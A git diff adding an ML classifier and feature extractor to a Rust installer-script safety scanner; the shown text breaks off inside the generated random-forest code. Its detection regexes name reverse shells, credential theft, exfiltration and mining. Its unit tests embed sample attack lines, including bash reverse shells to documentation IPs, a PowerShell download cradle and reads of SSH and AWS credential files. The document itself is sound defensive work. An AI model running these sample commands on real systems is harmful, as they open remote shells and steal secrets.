"Installer attempts to weaken security tooling or policy", severity: Severity::Critical, @@ -198,6 +221,7 @@ fn rules() -> Vec { pattern: r"(?i)(set-mppreference.*disablerealtimemonitoring|ufw\s+disable|setenforce\s+0|disableantispyware)", }, Rule { + key: "encoded_exec", title: "Contains encoded execution", detail: "Installer uses encoded or decoded content during execution", severity: Severity::Critical, @@ -205,6 +229,7 @@ fn rules() -> Vec { pattern: r"(?i)(frombase64string|base64\s+(-d|--decode)|encodedcommand|eval\s*\()", }, Rule { + key: "recursive_delete", title: "Deletes files recursively", detail: "Installer performs broad recursive deletion", severity: Severity::Critical, diff --git a/src/cli.rs b/src/cli.rs index 5fc7f0f..86cfbfc 100644 --- a/src/cli.rs +++ b/src/cli.rs @@ -1,6 +1,8 @@ // Command definitions expose focused inspection and guarded installer execution workflows. // Arguments preserve concise automation support alongside clear interactive safety controls. +use std::path::PathBuf; + use clap::{Parser, Subcommand}; #[derive(Subcommand)] @@ -9,6 +11,8 @@ pub enum Command { source: String, #[arg(long)] json: bool, + #[arg(long, help = "Skip the machine learning classifier")] + no_ml: bool, }, Run { command: String, @@ -16,6 +20,15 @@ pub enum Command { yes: bool, #[arg(long)] json: bool, + #[arg(long, help = "Skip the machine learning classifier")] + no_ml: bool, + }, + #[command(hide = true, about = "Print model feature vectors for local scripts")] + Features { + #[arg(required = true)] + paths: Vec, + #[arg(long)] + json: bool, }, Set { key: String, diff --git a/src/features.rs b/src/features.rs new file mode 100644 index 0000000..ac09e8f --- /dev/null +++ b/src/features.rs @@ -0,0 +1,299 @@ +// Feature extraction turns installer bytes into a fixed numeric vector for the ML model. +// Names and order are the contract shared with ml/ training scripts and src/ml_model.rs. + +use std::collections::HashSet; +use std::sync::LazyLock; + +use regex::Regex; + +use crate::analyzer; +use crate::source::{Artifact, InstallerKind}; + +/// Number of features produced by [`extract`]. +pub const COUNT: usize = RULES.len() + STATS.len() + INDICATORS.len() + KINDS.len(); + +/// One 0/1 feature per analyzer rule, in `analyzer::rule_hits` order. +const RULES: &[&str] = &[ + "rule_exec_downloaded", + "rule_downloads", + "rule_privilege", + "rule_persistence", + "rule_profile", + "rule_chmod", + "rule_registry", + "rule_disable_security", + "rule_encoded_exec", + "rule_recursive_delete", +]; + +const STATS: &[&str] = &[ + "log_size", + "log_lines", + "avg_line_len", + "log_max_line_len", + "long_line_ratio", + "entropy", + "comment_ratio", + "blank_ratio", + "non_ascii_ratio", + "symbol_ratio", + "dollar_per_line", + "url_count", + "http_url_count", + "ip_url_count", + "ipv4_count", + "distinct_hosts", + "base64_tokens", + "log_longest_token", + "function_count", +]; + +/// Pattern counts, stored as ln(1 + matches). Names ending in a signal suffix are +/// shown to users as evidence when they fire. +const INDICATORS: &[(&str, &str)] = &[ + ("hex_escapes", r"\\x[0-9a-fA-F]{2}"), + ("char_codes", r"(?i)(\[char\]\s*\d+|\bchr\s*\(\s*\d+|fromcharcode)"), + ("string_concat", r#"['"]\s*\+\s*['"]"#), + ("backtick_obfuscation", r"[A-Za-z]`[A-Za-z]"), + ("ps_iex", r"(?i)(\biex\b|invoke-expression)"), + ("ps_hidden_window", r"(?i)(-w(indowstyle)?\s+h(idden)?\b)"), + ("ps_exec_bypass", r"(?i)(-ep\s+bypass|executionpolicy\s+bypass|\s-nop\b|-noprofile)"), + ("ps_download_cradle", r"(?i)(downloadstring|downloaddata|net\.webclient|start-bitstransfer)"), + ("ps_reflection", r"(?i)(reflection\.assembly|virtualalloc|interopservices|add-type\s+-typedefinition)"), + ("sh_reverse_shell", r"(?i)(/dev/tcp/|\bnc(at)?\s+(-\w+\s+)*-e\b|mkfifo|socat\s.*exec|bash\s+-i\b)"), + ("sh_eval", r"(?m)(^|[;&|]\s*)eval\s"), + ("anti_forensics", r"(?i)(history\s+-c|unset\s+histfile|histfile=/dev/null|\.bash_history|wevtutil\s+cl|clear-eventlog)"), + ("credential_access", r"(?i)(/etc/shadow|\.ssh/id_|\.aws/credentials|\.docker/config\.json|login\s+data|lsass|mimikatz|keychain)"), + ("crypto_mining", r"(?i)(xmrig|stratum\+tcp|minerd|cryptonight|monero)"), + ("exfiltration", r"(?i)(curl\s[^\n]*(\s-d\s|--data|\s-F\s|--upload-file|\s-T\s)|invoke-restmethod[^\n]*-method\s+post|\buploadfile\b)"), + ("tmp_exec_dir", r"(?i)(/tmp/|/dev/shm/|\$env:temp|%temp%|appdata\\roaming)"), + ("background_exec", r"(?i)(\bnohup\b|\bdisown\b|\bsetsid\b|&\s*>\s*/dev/null\s*&)"), + ("file_lock", r"(?i)chattr\s+\+i"), + ("process_kill", r"(?i)(\bpkill\b|\bkillall\b|\btaskkill\b|stop-process)"), + ("user_creation", r"(?i)(\buseradd\b|net\s+user\s+\S+\s+\S+\s+/add|new-localuser)"), + ("ssh_key_injection", r"authorized_keys"), + ("checksum_verify", r"(?i)(sha256sum|shasum|get-filehash|gpg\s+--verify|minisign|cosign\s+verify)"), + ("usage_help", r"(?i)(usage:|--help\b)"), +]; + +const KINDS: &[&str] = &["kind_bash", "kind_powershell", "kind_python", "kind_executable", "kind_text"]; + +/// Indicators that are uninformative as user-facing evidence. +const NON_SIGNALS: &[&str] = &["checksum_verify", "usage_help"]; + +static INDICATOR_RES: LazyLock> = LazyLock::new(|| { + INDICATORS + .iter() + .map(|(_, p)| Regex::new(p).expect("valid feature pattern")) + .collect() +}); +static URL_RE: LazyLock = + LazyLock::new(|| Regex::new(r#"(?i)\b(https?)://([^\s"'`|;)<>/:]+)"#).expect("valid url pattern")); +static IPV4_RE: LazyLock = + LazyLock::new(|| Regex::new(r"\b(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})\b").expect("valid ip pattern")); +static BASE64_RE: LazyLock = + LazyLock::new(|| Regex::new(r"[A-Za-z0-9+/]{40,}={0,2}").expect("valid base64 pattern")); +static FUNCTION_RE: LazyLock = LazyLock::new(|| { + Regex::new(r"(?im)^\s*(function\s+[\w-]+|[\w-]+\s*\(\)\s*\{|def\s+\w+\s*\()").expect("valid function pattern") +}); + +/// Returns feature names in vector order. +pub fn names() -> Vec<&'static str> { + RULES + .iter() + .chain(STATS) + .copied() + .chain(INDICATORS.iter().map(|(n, _)| *n)) + .chain(KINDS.iter().copied()) + .collect() +} + +/// Whether a feature is a behavioral signal worth citing as evidence. +pub fn is_signal(name: &str) -> bool { + (name.starts_with("rule_") || INDICATORS.iter().any(|(n, _)| *n == name)) + && !NON_SIGNALS.contains(&name) + || matches!(name, "base64_tokens" | "ip_url_count" | "http_url_count") +} + +pub fn extract(artifact: &Artifact) -> Vec { + let text = String::from_utf8_lossy(&artifact.bytes); + let bytes = &artifact.bytes; + let mut out = Vec::with_capacity(COUNT); + + for (_, hit) in analyzer::rule_hits(&text) { + out.push(if hit { 1.0 } else { 0.0 }); + } + + let lines: Vec<&str> = text.lines().collect(); + let n_lines = lines.len().max(1) as f64; + let max_line = lines.iter().map(|l| l.len()).max().unwrap_or(0); + let long_lines = lines.iter().filter(|l| l.len() > 300).count(); + let comments = lines + .iter() + .filter(|l| { + let t = l.trim_start(); + (t.starts_with('#') && !t.starts_with("#!")) || t.starts_with("//") || t.to_ascii_lowercase().starts_with("rem ") + }) + .count(); + let blanks = lines.iter().filter(|l| l.trim().is_empty()).count(); + let total = bytes.len().max(1) as f64; + let non_ascii = bytes.iter().filter(|b| !b.is_ascii()).count(); + let symbols = text.chars().filter(|c| "`^+'\"{}[]$%~".contains(*c)).count(); + let dollars = text.matches('$').count(); + + let mut urls = 0usize; + let mut http_urls = 0usize; + let mut ip_urls = 0usize; + let mut hosts = HashSet::new(); + for cap in URL_RE.captures_iter(&text) { + urls += 1; + if cap[1].eq_ignore_ascii_case("http") { + http_urls += 1; + } + let host = cap[2].to_ascii_lowercase(); + if host.chars().all(|c| c.is_ascii_digit() || c == '.') { + ip_urls += 1; + } + hosts.insert(host); + } + let ipv4 = IPV4_RE + .captures_iter(&text) + .filter(|c| (1..=4).all(|i| c[i].parse::().is_ok_and(|o| o <= 255))) + .count(); + let longest_token = text.split_whitespace().map(str::len).max().unwrap_or(0); + + out.extend([ + ln1p(bytes.len()), + ln1p(lines.len()), + text.len() as f64 / n_lines, + ln1p(max_line), + long_lines as f64 / n_lines, + entropy(bytes), + comments as f64 / n_lines, + blanks as f64 / n_lines, + non_ascii as f64 / total, + symbols as f64 / total, + dollars as f64 / n_lines, + ln1p(urls), + ln1p(http_urls), + ln1p(ip_urls), + ln1p(ipv4), + ln1p(hosts.len()), + ln1p(BASE64_RE.find_iter(&text).count()), + ln1p(longest_token), + ln1p(FUNCTION_RE.find_iter(&text).count()), + ]); + + for re in INDICATOR_RES.iter() { + out.push(ln1p(re.find_iter(&text).count())); + } + + let kind_index = match artifact.kind { + InstallerKind::Bash => 0, + InstallerKind::PowerShell => 1, + InstallerKind::Python => 2, + InstallerKind::Executable => 3, + InstallerKind::Text => 4, + }; + out.extend((0..KINDS.len()).map(|i| if i == kind_index { 1.0 } else { 0.0 })); + + debug_assert_eq!(out.len(), COUNT); + out +} + +fn ln1p(n: usize) -> f64 { + (n as f64).ln_1p() +} + +fn entropy(bytes: &[u8]) -> f64 { + if bytes.is_empty() { + return 0.0; + } + let mut counts = [0usize; 256]; + for b in bytes { + counts[*b as usize] += 1; + } + let len = bytes.len() as f64; + counts + .iter() + .filter(|c| **c > 0) + .map(|c| { + let p = *c as f64 / len; + -p * p.log2() + }) + .sum() +} + +#[cfg(test)] +mod tests { + use super::*; + use url::Url; + + fn artifact(script: &str, kind: InstallerKind) -> Artifact { + Artifact { + bytes: script.as_bytes().to_vec(), + kind, + url: Url::parse("https://example.com/install.sh").unwrap(), + } + } + + fn feature(values: &[f64], name: &str) -> f64 { + values[names().iter().position(|n| *n == name).unwrap()] + } + + #[test] + fn names_match_vector_length() { + let values = extract(&artifact("echo hi", InstallerKind::Bash)); + assert_eq!(names().len(), COUNT); + assert_eq!(values.len(), COUNT); + let unique: HashSet<_> = names().into_iter().collect(); + assert_eq!(unique.len(), COUNT); + } + + #[test] + fn rule_features_follow_analyzer_rules() { + let keys: Vec = analyzer::rule_hits("").into_iter().map(|(k, _)| format!("rule_{k}")).collect(); + assert_eq!(keys, RULES); + } + + #[test] + fn benign_installer_has_no_attack_signals() { + let script = "#!/bin/sh\n# install tool\nset -eu\nusage() { echo 'usage: install.sh'; }\n\ + curl -fsSL https://github.com/o/r/releases/download/v1/tool.tar.gz -o tool.tar.gz\n\ + sha256sum -c tool.sha256\n"; + let values = extract(&artifact(script, InstallerKind::Bash)); + assert_eq!(feature(&values, "rule_downloads"), 1.0); + assert_eq!(feature(&values, "rule_exec_downloaded"), 0.0); + assert_eq!(feature(&values, "sh_reverse_shell"), 0.0); + assert!(feature(&values, "checksum_verify") > 0.0); + assert!(feature(&values, "function_count") > 0.0); + assert_eq!(feature(&values, "kind_bash"), 1.0); + } + + #[test] + fn detects_reverse_shell_and_raw_ip() { + let script = "bash -i >& /dev/tcp/203.0.113.7/4444 0>&1\ncurl http://203.0.113.7/x -o /tmp/x"; + let values = extract(&artifact(script, InstallerKind::Bash)); + assert!(feature(&values, "sh_reverse_shell") > 0.0); + assert!(feature(&values, "ip_url_count") > 0.0); + assert!(feature(&values, "http_url_count") > 0.0); + assert!(feature(&values, "tmp_exec_dir") > 0.0); + } + + #[test] + fn detects_powershell_obfuscation() { + let script = "powershell -nop -w hidden -ep bypass -c \"i`ex (New-Object Net.WebClient).DownloadString('ht'+'tp://x')\""; + let values = extract(&artifact(script, InstallerKind::PowerShell)); + for name in ["ps_hidden_window", "ps_exec_bypass", "ps_download_cradle", "backtick_obfuscation", "string_concat"] { + assert!(feature(&values, name) > 0.0, "{name}"); + } + assert_eq!(feature(&values, "kind_powershell"), 1.0); + } + + #[test] + fn entropy_bounds() { + assert_eq!(entropy(b"aaaa"), 0.0); + let all: Vec = (0..=255).collect(); + assert!((entropy(&all) - 8.0).abs() < 1e-9); + } +} diff --git a/src/main.rs b/src/main.rs index 1d70792..99625bd 100644 --- a/src/main.rs +++ b/src/main.rs @@ -6,6 +6,9 @@ mod cli; mod command; mod config; mod executor; +mod features; +mod ml; +mod ml_model; mod registry; mod report; mod reputation; @@ -51,7 +54,8 @@ async fn main() -> Result<()> { Err(msg) => eprintln!("{msg}"), } } - Command::Inspect { source, json } => { + Command::Features { paths, json } => print_features(&paths, json)?, + Command::Inspect { source, json, no_ml } => { let cmd = command::parse(&source); if !json { report::print_header(); @@ -66,14 +70,19 @@ async fn main() -> Result<()> { } } _ => { - let (_, assessment) = stream_url(&source, &config, json).await?; + let (_, assessment) = stream_url(&source, &config, json, !no_ml).await?; if json { report::print_json(&assessment)?; } } } } - Command::Run { command, yes, json } => { + Command::Run { + command, + yes, + json, + no_ml, + } => { let cmd = command::parse(&command); if !json { report::print_header(); @@ -92,7 +101,7 @@ async fn main() -> Result<()> { executor::run_shell(raw, &assessment, yes).await?; } _ => { - let (artifact, assessment) = stream_url(&command, &config, json).await?; + let (artifact, assessment) = stream_url(&command, &config, json, !no_ml).await?; if json { report::print_json(&assessment)?; } @@ -108,6 +117,7 @@ async fn stream_url( source: &str, config: &reputation::ReputationConfig, json: bool, + use_ml: bool, ) -> Result<(source::Artifact, analyzer::Assessment)> { if !json { print!(" Downloading... "); @@ -137,9 +147,32 @@ async fn stream_url( } } - let host = artifact.url.host_str().unwrap_or("unknown"); let mut prev_source: Option<&'static str> = None; + if use_ml && let Some(prediction) = ml::predict(&artifact) { + assessment.ml_probability = Some(prediction.probability); + match ml::finding(&prediction) { + Some(finding) => { + if !json { + report::print_finding(&finding, &mut prev_source); + } + assessment.findings.push(finding); + } + None if !json => { + println!(); + println!(" ML Model: {:.0}% malicious probability, below threshold", prediction.probability * 100.0); + } + None => {} + } + } + + // Local files have no host, so network reputation sources do not apply. + if artifact.url.scheme() == "file" { + return Ok(finish(artifact, assessment, json)); + } + + let host = artifact.url.host_str().unwrap_or("unknown"); + if let Some(finding) = reputation::domain::check(host) { if !json { report::print_finding(&finding, &mut prev_source); @@ -175,12 +208,54 @@ async fn stream_url( assessment.findings.push(finding); } + Ok(finish(artifact, assessment, json)) +} + +fn finish( + artifact: source::Artifact, + mut assessment: analyzer::Assessment, + json: bool, +) -> (source::Artifact, analyzer::Assessment) { assessment.recalculate(); if !json { let sources = report::source_breakdown(&assessment.findings); report::print_score(assessment.score, &assessment.risk, &sources); } - Ok((artifact, assessment)) + (artifact, assessment) +} + +fn print_features(paths: &[std::path::PathBuf], json: bool) -> Result<()> { + let names = features::names(); + for path in paths { + let artifact = source::read_local(path)?; + let values = features::extract(&artifact); + let probability = ml::probability(&values); + if json { + let map: serde_json::Map = names + .iter() + .zip(&values) + .map(|(n, v)| ((*n).to_owned(), serde_json::json!(v))) + .collect(); + let record = serde_json::json!({ + "path": path.display().to_string(), + "installer_type": artifact.kind, + "ml_probability": probability, + "features": map, + }); + if paths.len() == 1 { + println!("{}", serde_json::to_string_pretty(&record)?); + } else { + println!("{record}"); + } + } else { + println!("{} ({:?})", path.display(), artifact.kind); + for (n, v) in names.iter().zip(&values) { + println!(" {n:<24} {v:.4}"); + } + println!(" {:<24} {probability:.4}", "ml_probability"); + } + } + Ok(()) } async fn stream_pm(registry: &str, package: &str, raw: &str, json: bool) -> Result { @@ -327,6 +402,7 @@ async fn stream_pm(registry: &str, package: &str, raw: &str, json: bool) -> Resu risk, findings, package_summary: summary, + ml_probability: None, }; if !json { report::print_score(assessment.score, &assessment.risk, &sources); diff --git a/src/ml.rs b/src/ml.rs new file mode 100644 index 0000000..0def6c5 --- /dev/null +++ b/src/ml.rs @@ -0,0 +1,140 @@ +// Machine learning classifier scores installer scripts with a model trained offline in ml/. +// The generated model in ml_model.rs is pure Rust, so inference needs no runtime or network. + +use crate::analyzer::{Finding, Severity}; +use crate::features; +use crate::ml_model; +use crate::source::{Artifact, InstallerKind}; + +pub struct Prediction { + pub probability: f64, + pub signals: Vec<&'static str>, +} + +/// Scores a script artifact. Executables are skipped because the model is trained on scripts. +pub fn predict(artifact: &Artifact) -> Option { + if matches!(artifact.kind, InstallerKind::Executable) { + return None; + } + let values = features::extract(artifact); + Some(Prediction { + probability: probability(&values), + signals: top_signals(&values, 3), + }) +} + +/// Malicious-class probability for a feature vector produced by `features::extract`. +pub fn probability(values: &[f64]) -> f64 { + ml_model::score(values)[1].clamp(0.0, 1.0) +} + +/// Converts a prediction into a finding once it crosses the model's decision threshold. +pub fn finding(prediction: &Prediction) -> Option { + let p = prediction.probability; + if p < ml_model::THRESHOLD { + return None; + } + let span = (p - ml_model::THRESHOLD) / (1.0 - ml_model::THRESHOLD); + let (severity, detail) = match p { + p if p >= 0.9 => ( + Severity::Critical, + "Classifier is highly confident this script resembles known malicious installers", + ), + p if p >= 0.75 => ( + Severity::High, + "Classifier finds this script closely resembles known malicious installers", + ), + _ => ( + Severity::Medium, + "Classifier finds some resemblance to known malicious installers", + ), + }; + let mut evidence = format!("p(malicious) = {p:.2}"); + if !prediction.signals.is_empty() { + evidence.push_str(&format!("; top signals: {}", prediction.signals.join(", "))); + } + Some(Finding { + source: "ML Model", + title: "Resembles malicious installer", + detail, + severity, + score: (15.0 + 30.0 * span).round() as u8, + evidence, + }) +} + +/// Active behavioral features ranked by the model's global importance. +fn top_signals(values: &[f64], n: usize) -> Vec<&'static str> { + let mut active: Vec<(usize, f64)> = ml_model::FEATURE_NAMES + .iter() + .enumerate() + .filter(|(i, name)| values[*i] > 0.0 && features::is_signal(name)) + .map(|(i, _)| (i, ml_model::IMPORTANCES[i])) + .collect(); + active.sort_by(|a, b| b.1.total_cmp(&a.1)); + active + .into_iter() + .take(n) + .map(|(i, _)| ml_model::FEATURE_NAMES[i]) + .collect() +} + +#[cfg(test)] +mod tests { + use super::*; + use url::Url; + + fn artifact(script: &str, kind: InstallerKind) -> Artifact { + Artifact { + bytes: script.as_bytes().to_vec(), + kind, + url: Url::parse("https://example.com/install").unwrap(), + } + } + + #[test] + fn model_features_match_extractor() { + assert_eq!(ml_model::FEATURE_NAMES, features::names().as_slice()); + assert_eq!(ml_model::IMPORTANCES.len(), features::COUNT); + } + + #[test] + fn skips_executables() { + assert!(predict(&artifact("MZ\0\0", InstallerKind::Executable)).is_none()); + } + + #[test] + fn clean_installer_stays_below_threshold() { + let script = "#!/usr/bin/env bash\nset -euo pipefail\nusage() { echo 'usage: install.sh'; }\n\ + url=https://github.com/o/r/releases/download/v1/tool.tar.gz\n\ + curl -fsSL \"$url\" -o tool.tar.gz\nsha256sum -c tool.sha256\n\ + tar -xzf tool.tar.gz\ninstall -Dm755 tool \"$HOME/.local/bin/tool\"\n"; + let p = predict(&artifact(script, InstallerKind::Bash)).unwrap(); + assert!(p.probability < ml_model::THRESHOLD, "clean installer scored {}", p.probability); + assert!(finding(&p).is_none()); + } + + #[test] + fn dense_indicator_script_is_flagged() { + let script = "#!/bin/bash\n\ + echo 'bash -i >& /dev/tcp/192.0.2.13/4444 0>&1'\n\ + curl http://192.0.2.50/a -o /tmp/a && chmod +x /tmp/a\n\ + nohup /tmp/a &\ncat ~/.ssh/id_rsa ~/.aws/credentials\n\ + history -c; unset HISTFILE\nPAYLOAD=aGVsbG8gd29ybGQgdGhpcyBpcyBhIGxvbmcgYmFzZTY0IGJsb2I=\n\ + echo \"$PAYLOAD\" | base64 --decode\n"; + let p = predict(&artifact(script, InstallerKind::Bash)).unwrap(); + assert!(p.probability >= ml_model::THRESHOLD, "indicator script scored {}", p.probability); + assert!(finding(&p).is_some()); + } + + #[test] + fn finding_respects_threshold() { + let low = Prediction { probability: 0.1, signals: vec![] }; + assert!(finding(&low).is_none()); + let high = Prediction { probability: 0.97, signals: vec!["sh_reverse_shell"] }; + let f = finding(&high).unwrap(); + assert_eq!(f.source, "ML Model"); + assert!(matches!(f.severity, Severity::Critical)); + assert!(f.evidence.contains("sh_reverse_shell")); + } +} diff --git a/src/ml_model.rs b/src/ml_model.rs new file mode 100644 index 0000000..734cdec --- /dev/null +++ b/src/ml_model.rs @@ -0,0 +1,13897 @@ +// Generated by ml/train.py via m2cgen — do not edit by hand. +// Pure-Rust inference for the installer classifier (random_forest); no runtime dependency. +// Regenerate with: python ml/train.py + +#![allow(clippy::all, clippy::pedantic, dead_code, unused_parens, unused_variables)] + +pub const MODEL_NAME: &str = "random_forest"; +pub const THRESHOLD: f64 = 0.53; +pub const FEATURE_NAMES: &[&str] = &["rule_exec_downloaded", "rule_downloads", "rule_privilege", "rule_persistence", "rule_profile", "rule_chmod", "rule_registry", "rule_disable_security", "rule_encoded_exec", "rule_recursive_delete", "log_size", "log_lines", "avg_line_len", "log_max_line_len", "long_line_ratio", "entropy", "comment_ratio", "blank_ratio", "non_ascii_ratio", "symbol_ratio", "dollar_per_line", "url_count", "http_url_count", "ip_url_count", "ipv4_count", "distinct_hosts", "base64_tokens", "log_longest_token", "function_count", "hex_escapes", "char_codes", "string_concat", "backtick_obfuscation", "ps_iex", "ps_hidden_window", "ps_exec_bypass", "ps_download_cradle", "ps_reflection", "sh_reverse_shell", "sh_eval", "anti_forensics", "credential_access", "crypto_mining", "exfiltration", "tmp_exec_dir", "background_exec", "file_lock", "process_kill", "user_creation", "ssh_key_injection", "checksum_verify", "usage_help", "kind_bash", "kind_powershell", "kind_python", "kind_executable", "kind_text"]; +pub const IMPORTANCES: &[f64] = &[0.0301941, 0.253231, 0.134296, 0.00736168, 0.000943956, 0.0622782, 0.0, 0.00422945, 0.0200385, 0.00325978, 0.00563351, 0.00709315, 0.00702475, 0.0118147, 0.0244313, 0.0449626, 0.0381359, 0.00360885, 0.000474752, 0.00515431, 0.0172576, 0.0106223, 0.00248198, 0.03342, 0.00512977, 0.0133238, 0.00803716, 0.0183414, 0.00268864, 0.0050545, 0.00505308, 0.00876568, 0.00870662, 0.00515819, 0.0143298, 0.0113579, 0.00278718, 0.000428031, 0.0103047, 0.00101, 0.00380438, 0.0128076, 0.00256383, 0.0193498, 0.00783355, 0.0289274, 0.000889182, 0.0462499, 0.00232275, 0.011069, 0.00400204, 0.00830354, 0.00105458, 0.00160909, 0.000673897, 0.0, 0.000115378]; + +/// Malicious-class probability at index 1, benign at index 0. +pub fn score(input: &[f64]) -> [f64; 2] { + let out = generated::score(input.to_vec()); + [out[0], out.get(1).copied().unwrap_or(0.0)] +} + +mod generated { + #![allow(clippy::all, dead_code, unused_parens)] + pub fn score(input: Vec) -> Vec { + let var0: Vec; + if input[26] <= 0.34657350182533264_f64 { + if input[32] <= 0.34657350182533264_f64 { + if input[21] <= 0.34657350182533264_f64 { + if input[7] <= 0.5_f64 { + if input[45] <= 0.34657350182533264_f64 { + if input[43] <= 0.34657350182533264_f64 { + if input[53] <= 0.5_f64 { + if input[44] <= 0.34657350182533264_f64 { + if input[48] <= 0.34657350182533264_f64 { + var0 = vec![0.9120370370370371_f64, 0.08796296296296297_f64]; + } else { + var0 = vec![0.0_f64, 1.0_f64]; + } + } else { + var0 = vec![1.0_f64, 0.0_f64]; + } + } else { + var0 = vec![1.0_f64, 0.0_f64]; + } + } else { + var0 = vec![0.0_f64, 1.0_f64]; + } + } else { + var0 = vec![0.0_f64, 1.0_f64]; + } + } else { + var0 = vec![0.0_f64, 1.0_f64]; + } + } else { + if input[16] <= 0.05396704934537411_f64 { + if input[23] <= 0.34657350182533264_f64 { + if input[3] <= 0.5_f64 { + if input[13] <= 4.886574983596802_f64 { + var0 = vec![1.0_f64, 0.0_f64]; + } else { + if input[27] <= 4.348590135574341_f64 { + if input[9] <= 0.5_f64 { + var0 = vec![0.5_f64, 0.5_f64]; + } else { + var0 = vec![0.5_f64, 0.5_f64]; + } + } else { + var0 = vec![0.0_f64, 1.0_f64]; + } + } + } else { + var0 = vec![0.0_f64, 1.0_f64]; + } + } else { + var0 = vec![0.0_f64, 1.0_f64]; + } + } else { + if input[16] <= 0.07919264957308769_f64 { + if input[17] <= 0.13619649782776833_f64 { + if input[28] <= 1.9355999827384949_f64 { + var0 = vec![0.3333333333333333_f64, 0.6666666666666666_f64]; + } else { + var0 = vec![0.5_f64, 0.5_f64]; + } + } else { + var0 = vec![1.0_f64, 0.0_f64]; + } + } else { + if input[19] <= 0.044214898720383644_f64 { + if input[51] <= 0.5493050217628479_f64 { + if input[23] <= 0.34657350182533264_f64 { + if input[12] <= 33.11764907836914_f64 { + var0 = vec![1.0_f64, 0.0_f64]; + } else { + var0 = vec![0.6666666666666666_f64, 0.3333333333333333_f64]; + } + } else { + var0 = vec![0.3333333333333333_f64, 0.6666666666666666_f64]; + } + } else { + var0 = vec![1.0_f64, 0.0_f64]; + } + } else { + var0 = vec![1.0_f64, 0.0_f64]; + } + } + } + } + } else { + if input[53] <= 0.5_f64 { + if input[23] <= 0.34657350182533264_f64 { + var0 = vec![1.0_f64, 0.0_f64]; + } else { + if input[44] <= 0.34657350182533264_f64 { + var0 = vec![0.5_f64, 0.5_f64]; + } else { + var0 = vec![0.0_f64, 1.0_f64]; + } + } + } else { + var0 = vec![0.0_f64, 1.0_f64]; + } + } + } else { + if input[8] <= 0.5_f64 { + if input[34] <= 0.5_f64 { + if input[1] <= 0.5_f64 { + var0 = vec![1.0_f64, 0.0_f64]; + } else { + if input[16] <= 0.05961665138602257_f64 { + if input[11] <= 2.841789960861206_f64 { + var0 = vec![1.0_f64, 0.0_f64]; + } else { + var0 = vec![0.0_f64, 1.0_f64]; + } + } else { + if input[48] <= 0.34657350182533264_f64 { + var0 = vec![1.0_f64, 0.0_f64]; + } else { + var0 = vec![0.0_f64, 1.0_f64]; + } + } + } + } else { + var0 = vec![0.0_f64, 1.0_f64]; + } + } else { + if input[22] <= 1.2424499988555908_f64 { + if input[25] <= 1.4978649616241455_f64 { + var0 = vec![0.0_f64, 1.0_f64]; + } else { + if input[19] <= 0.07099699974060059_f64 { + var0 = vec![0.3333333333333333_f64, 0.6666666666666666_f64]; + } else { + var0 = vec![0.0_f64, 1.0_f64]; + } + } + } else { + var0 = vec![0.5_f64, 0.5_f64]; + } + } + } + let var1: Vec; + if input[26] <= 0.34657350182533264_f64 { + if input[2] <= 0.5_f64 { + if input[16] <= 0.10782299935817719_f64 { + if input[43] <= 0.34657350182533264_f64 { + if input[0] <= 0.5_f64 { + if input[1] <= 0.5_f64 { + if input[33] <= 0.34657350182533264_f64 { + var1 = vec![1.0_f64, 0.0_f64]; + } else { + var1 = vec![0.5_f64, 0.5_f64]; + } + } else { + if input[12] <= 26.90545082092285_f64 { + var1 = vec![1.0_f64, 0.0_f64]; + } else { + if input[17] <= 0.16580750048160553_f64 { + if input[28] <= 2.341064929962158_f64 { + var1 = vec![0.0_f64, 1.0_f64]; + } else { + var1 = vec![0.5_f64, 0.5_f64]; + } + } else { + if input[10] <= 7.308204889297485_f64 { + var1 = vec![1.0_f64, 0.0_f64]; + } else { + var1 = vec![0.5_f64, 0.5_f64]; + } + } + } + } + } else { + var1 = vec![0.0_f64, 1.0_f64]; + } + } else { + var1 = vec![0.0_f64, 1.0_f64]; + } + } else { + if input[15] <= 5.63876485824585_f64 { + if input[22] <= 0.34657350182533264_f64 { + var1 = vec![1.0_f64, 0.0_f64]; + } else { + if input[13] <= 4.629994869232178_f64 { + if input[20] <= 0.24969099462032318_f64 { + var1 = vec![1.0_f64, 0.0_f64]; + } else { + var1 = vec![0.5_f64, 0.5_f64]; + } + } else { + var1 = vec![1.0_f64, 0.0_f64]; + } + } + } else { + var1 = vec![0.0_f64, 1.0_f64]; + } + } + } else { + if input[1] <= 0.5_f64 { + if input[25] <= 0.34657350182533264_f64 { + if input[23] <= 0.34657350182533264_f64 { + var1 = vec![0.6_f64, 0.4_f64]; + } else { + var1 = vec![0.0_f64, 1.0_f64]; + } + } else { + var1 = vec![1.0_f64, 0.0_f64]; + } + } else { + if input[13] <= 5.27529501914978_f64 { + if input[19] <= 0.01293194992467761_f64 { + var1 = vec![0.4_f64, 0.6_f64]; + } else { + if input[21] <= 0.34657350182533264_f64 { + var1 = vec![0.0_f64, 1.0_f64]; + } else { + if input[11] <= 3.6723599433898926_f64 { + if input[15] <= 5.165090084075928_f64 { + var1 = vec![0.5_f64, 0.5_f64]; + } else { + var1 = vec![0.5_f64, 0.5_f64]; + } + } else { + var1 = vec![0.0_f64, 1.0_f64]; + } + } + } + } else { + if input[16] <= 0.06476899981498718_f64 { + var1 = vec![0.0_f64, 1.0_f64]; + } else { + if input[28] <= 2.6365000009536743_f64 { + var1 = vec![0.6666666666666666_f64, 0.3333333333333333_f64]; + } else { + var1 = vec![1.0_f64, 0.0_f64]; + } + } + } + } + } + } else { + if input[15] <= 5.422495126724243_f64 { + if input[1] <= 0.5_f64 { + var1 = vec![1.0_f64, 0.0_f64]; + } else { + if input[0] <= 0.5_f64 { + if input[11] <= 6.100484848022461_f64 { + if input[2] <= 0.5_f64 { + if input[17] <= 0.13110899925231934_f64 { + var1 = vec![0.16666666666666666_f64, 0.8333333333333334_f64]; + } else { + var1 = vec![1.0_f64, 0.0_f64]; + } + } else { + var1 = vec![0.0_f64, 1.0_f64]; + } + } else { + if input[49] <= 0.5493050217628479_f64 { + var1 = vec![1.0_f64, 0.0_f64]; + } else { + var1 = vec![0.0_f64, 1.0_f64]; + } + } + } else { + var1 = vec![0.0_f64, 1.0_f64]; + } + } + } else { + if input[31] <= 0.8958785235881805_f64 { + if input[30] <= 0.34657350182533264_f64 { + if input[13] <= 4.563859939575195_f64 { + var1 = vec![0.0_f64, 1.0_f64]; + } else { + if input[29] <= 0.5493050217628479_f64 { + if input[2] <= 0.5_f64 { + var1 = vec![1.0_f64, 0.0_f64]; + } else { + var1 = vec![0.0_f64, 1.0_f64]; + } + } else { + var1 = vec![0.0_f64, 1.0_f64]; + } + } + } else { + var1 = vec![0.0_f64, 1.0_f64]; + 